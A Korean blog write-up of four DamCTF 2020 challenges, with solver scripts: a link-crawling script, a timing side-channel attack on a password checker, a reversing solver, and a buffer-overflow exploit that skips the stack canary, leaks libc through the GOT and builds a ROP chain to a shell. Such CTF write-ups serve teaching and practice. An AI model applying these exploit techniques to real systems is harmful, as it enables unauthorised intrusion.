[DamCTF 2020] write up
WEB / finger-warmup
문제 사이트에 접속하면 아래 사진 처럼 클릭하는 링크가 나온다. 클릭하면 똑같은 페이지 이지만, 주소 뒤에 랜덤한 값이 따라 붙는다.
문제 힌트에 `requests` 모듈과 `beautifulsoup` 모듈을 사용하라고 되어 있어, `a` 태그를 크롤링해 계속 클릭하면 flag를 획득 할 수 있을 거라고 생각했다.
import requests
import bs4
import time
url = "https://finger-warmup.chals.damctf.xyz/"
s = requests.session()
res = s.get(url)
while True:
html = bs4.BeautifulSoup(res.text, "html.parser")
href = html.find("a").attrs["href"]
res = s.get(url+href)
if res.text.find("dam") != -1:
print(res.text)
break
else:
pass
MISC / side-channel
python코드가 주워지는데 코드는 다음과 같다.
#!/usr/bin/env python3
import secrets
import codecs
import time
# init with dummy data
password = 'asdfzxcv'
sample_password = 'qwerasdf'
# print flag! call this!
def cat_flag():
with open("./flag", 'rt') as f:
print(f.read())
# initialize password
def init_password():
global password
global sample_password
# seems super secure, right?
password = "%08x" % secrets.randbits(32)
sample_password = "%08x" % secrets.randbits(32)
# convert hex char to a number
# '0' = 0, 'f' = 15, '9' = 9...
def charactor_position_in_hex(c):
string = "0123456789abcdef"
return string.find(c[0])
# the function that matters..
def guess_password(s):
print("Password guessing %s" % s)
typed_password = ''
correct_password = True
for i in range(len(password)):
user_guess = input("Guess character at position password[%d] = %s?\n" \
% (i, typed_password))
typed_password += user_guess
# print(user_guess, password[i])
if user_guess != password[i]:
# we will punish the users for supplying wrong char..
result = charactor_position_in_hex(password[i])
print(result)
time.sleep(0.1 * result)
correct_password = False
# to get the flag, please supply all 8 correct characters for the password..
if correct_password:
cat_flag()
return correct_password
# main function!
def main():
init_password()
print("Can you tell me what my password is?")
print("We randomly generated 8 hexadecimal digit password (e.g., %s %s)" % (sample_password, password))
print("so please guess the password character by character.")
print("You have only 2 chances to test your guess...")
guess_password("Trial 1")
if not guess_password("Trial 2"):
print("My password was %s" % password)
if __name__ == '__main__':
main()
사용자는 랜덤한 `password` 값을 두번의 시도만에 맞추어야 한다. 첫번째 시도때 사용자가 입력한 값이랑 비교했을때, 틀리면 `password` 값의 특정한 index와 0.1 을 곱하여 `sleep()` 함수를 실행한다. 이를 이용해 몇초 동안 `sleep` 했는지 구하면 `password` 값을 구할 수 있다.
poc 코드는 다음과 같다.
from pwn import *
import time
context.log_level = "debug"
p = remote("chals.damctf.xyz", "30318")
password = ""
for i in range(1, 9):
p.sendlineafter("?\n", "0")
start = time.time()
if i == 8:
p.recvuntil("Password")
result = str(((time.time() - start) * 10) - 1).split(".")[0]
else:
p.recvuntil("= {}".format("0"*i))
result = str(((time.time() - start) * 10) - 1).split(".")[0]
print(result)
password += hex(int(result))[2:]
print(password)
for i in range(8):
p.sendlineafter("?", password[i])
p.interactive()
REV / schlage
문제 바이너리를 다운 받은 뒤, 사용자 정의 함수를 보면 다음과 같다.
분석 해본 결과, `do_pin` 함수들이 5개가 있는데, 이 함수들을 다 풀어야 flag를 획득할 수 있다.
함수를 실행하는 순서는 `do_pin3()` => `do_pin1()` => `do_pin5()` => `do_pin2()` => `do_pin4()`
`do_pin3()`
위 함수를 보면 사용자가 입력한 값이 `0xdeadbeef ^ ???? == 0x13371337` 이어야만 통과 할 수 있다.
따라서 아래 값으로 `do_pin3()` 함수를 통과 할 수 있다.
p.sendlineafter(">", "3")
p.sendlineafter(">", "3449466328")
`do_pin1()`
위 함수에서 `for` 문을 보면, 사용자가 입력한 값이랑 `XOR` 연산을 하고 있다. 결과가 `0xee` 이어야만 통과 하므로 `XOR`을 역 연산하면 아래의 코드로 통과 할 수 있다.
p.sendlineafter(">", "1")
p.sendlineafter("please!", "99")
`do_pin5()`
이번 함수는 `rand()` 함수의 리턴값을 맞추면 통과 할 수 있다. 3번째 줄에 `seed 값` 이 노출되어 있어, `rand()` 함수의 리턴값을 알 수 있다. python에서 `ctype` 라는 모듈이 있는데, 이 모듈로 `c library`를 호출해 c 함수를 쓸 수 있다.
아래 코드로 통과 할 수 있다.
from ctypes import *
l = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter(">", "5")
l.srand(0x42424242)
p.sendlineafter("number!", str(l.rand()))
`do_pin2()`
이번 함수는 `seed`를 출력 해준다. 이를 이용해 `seed 값` 을 바꾸고 `rand()` 함수의 리턴값을 받아 통과 할 수 있다.
p.sendlineafter(">", "2")
p.recvuntil("means?\n")
seed = int(p.recvuntil("\n"))
l.srand(seed)
p.sendlineafter("number?", str(l.rand()))
`do_pin4()`
마지막 함수는 진짜 리버싱 단계이다. 이 함수에서 오래 걸렸는데,
사용자가 입력한 값을 계산 => `for` 문을 사용자가 입력한 길이 만큼 반복 => 값이 `0x123` 이면 통과 이다.
하지만 `XOR` 연산을 하기 때문에 이를 역 연산하면 된다. 단, 입력 값은 ascii 코드 볌위에서 ~127 까지이다.
입력하는 문장의 길이가 중요한데, 많은 삽질을 통해 입력 2개로는 ~127 까지의 숫자를 구할 순 없었다.
필자는 이를 구하기 위해 최소 3개의 문자를 입력해야 풀 수 있다는 것을 알게 되었다.
`for`문을 3개 돌려 입력값을 구하면 통과하게 된다.
p.sendlineafter(">", "4")
random_value = l.rand()
imul = int(hex(random_value * 0x66666667)[:10], 16)
rdx_5 = (imul >> 2) - (random_value >> 0x1f)
rax_13 = (rdx_5 << 2) + rdx_5
var_40_1 = (random_value - (rax_13*2)) + 0x41
print("[*] random_value: "+ str(random_value))
print("[*] imul: "+ hex(imul))
print("[*] rdx_5: "+hex(rdx_5))
print("[*] rax_13: " +hex(rax_13))
print("[*] var_40_1: "+hex(var_40_1))
check = 0
for a in range(1, 128):
result = a ^ var_40_1
for b in range(1, 128):
res = result + (b ^ var_40_1)
for c in range(1, 128):
ress = res + (c ^ var_40_1)
if ress == 0x123:
print("[{}, {}, {}] {}".format(a,b,c, ress))
data = hex(c)
if len(hex(b)[2:]) == 1:
data+= "0" + hex(b)[2:]
else:
data+= hex(b)[2:]
if len(hex(a)[2:]) == 1:
data+= "0" + hex(a)[2:]
else:
data+= hex(a)[2:]
print(data)
p.sendlineafter("sentence", p64(int(data, 16)))
check = 1
break
if check == 1:
break
if check == 1:
break
if check == 0:
print("[*] not found")
따라서 이번 문제의 poc 코드는 다음과 같다.
from pwn import *
from ctypes import *
# p = process("./schlage")
p = remote("chals.damctf.xyz", "31932")
l = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter(">", "3")
p.sendlineafter(">", "3449466328")
p.sendlineafter(">", "1")
p.sendlineafter("please!", "99")
p.sendlineafter(">", "5")
l.srand(0x42424242)
p.sendlineafter("number!", str(l.rand()))
p.sendlineafter(">", "2")
p.recvuntil("means?\n")
seed = int(p.recvuntil("\n"))
l.srand(seed)
p.sendlineafter("number?", str(l.rand()))
p.sendlineafter(">", "4")
random_value = l.rand()
imul = int(hex(random_value * 0x66666667)[:10], 16)
rdx_5 = (imul >> 2) - (random_value >> 0x1f)
rax_13 = (rdx_5 << 2) + rdx_5
var_40_1 = (random_value - (rax_13*2)) + 0x41
print("[*] random_value: "+ str(random_value))
print("[*] imul: "+ hex(imul))
print("[*] rdx_5: "+hex(rdx_5))
print("[*] rax_13: " +hex(rax_13))
print("[*] var_40_1: "+hex(var_40_1))
check = 0
for a in range(1, 128):
result = a ^ var_40_1
for b in range(1, 128):
res = result + (b ^ var_40_1)
for c in range(1, 128):
ress = res + (c ^ var_40_1)
if ress == 0x123:
print("[{}, {}, {}] {}".format(a,b,c, ress))
data = hex(c)
if len(hex(b)[2:]) == 1:
data+= "0" + hex(b)[2:]
else:
data+= hex(b)[2:]
if len(hex(a)[2:]) == 1:
data+= "0" + hex(a)[2:]
else:
data+= hex(a)[2:]
print(data)
p.sendlineafter("sentence", p64(int(data, 16)))
check = 1
break
if check == 1:
break
if check == 1:
break
if check == 0:
print("[*] not found")
p.interactive()
PWN / allokay
문제의 바이너리 파일을 분석하면 `main()` 함수와 `get_input()`, `win()` 함수들이 존재했다.
`main()` 함수에는 특별한 건 없다.
`get_input()` 함수는 사용자가 입력한 값 만큼 입력을 받는다. `BOF` 공격이 가능하다.
위 함수에서 `scanf()` 를 통해 입력을 받을 때, 스택을 보면 다음과 같다.
노란색: 입력이 시작되는 곳
빨간색: 10번(0xa) 반복한다.
초록색: 1번(0x1) 반복했다.
파란색: canary
보라색: ret 값
위 스택을 참고하여 값을 덮워야 하는데, `canary` 값은 빨간색의 값을 변경하여 index를 수정할 수 있다. `canary` 부분은 건너띄고 입력을 계속하면 된다.
from pwn import *
import gdb_attach
# context.log_level = "debug"
p = remote("chals.damctf.xyz","32575")
e = ELF("./allokay", checksec=False)
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so", checksec=False)
p.sendlineafter("have?", "21")
for i in range(7):
p.sendlineafter(":", "1")
p.sendlineafter(":", "98784247808") # input data size
p.sendlineafter(":", "1")
p.sendlineafter(":", "47244640256") # index
p.sendlineafter(":", "1")
p.sendlineafter(":", str(4196659)) # pop rdi; ret;
p.sendlineafter(":", str(e.got["fgets"]))
p.sendlineafter(":", str(e.symbols["puts"]))
p.sendline(str(4196659)) # pop rdi; ret;
p.sendline(str(21))
p.sendline(str(e.symbols["get_input"]))
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.recvuntil("22/23: ")
fgets_got = u64(p.recvuntil("\x0a").replace("\x0a", "").ljust(8,"\x00"))
libc_base = fgets_got - l.symbols["fgets"]
binsh = libc_base + l.search("/bin/sh").next()
print("[*] fgets_got: " + hex(fgets_got))
print("[*] libc_base: "+hex(libc_base))
for i in range(7):
p.sendlineafter(":", "1")
p.sendlineafter(":", "98784247808") # input data size
p.sendlineafter(":", "1")
p.sendlineafter(":", "47244640256") # index
p.sendlineafter(":", "1")
p.sendlineafter(":", str(4196659)) # pop rdi; ret;
p.sendlineafter(":", str(binsh))
p.sendlineafter(":", str(e.symbols["win"]))
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.sendlineafter(":", "1")
p.interactive()
'🚩CTF' 카테고리의 다른 글
HTML Viewer writeup (0) | 2022.02.04 |
---|---|
[UMass 2021 CTF] write up (0) | 2021.03.29 |
[b01lers 2020 CTF] write up (0) | 2020.10.07 |
[DreamhackCTF 2020] validator write up (3) | 2020.09.29 |
[DreamhackCTF 2020] Mango write up (0) | 2020.09.29 |
댓글
이 글 공유하기
다른 글
-
HTML Viewer writeup
HTML Viewer writeup
2022.02.04 -
[UMass 2021 CTF] write up
[UMass 2021 CTF] write up
2021.03.29 -
[b01lers 2020 CTF] write up
[b01lers 2020 CTF] write up
2020.10.07 -
[DreamhackCTF 2020] validator write up
[DreamhackCTF 2020] validator write up
2020.09.29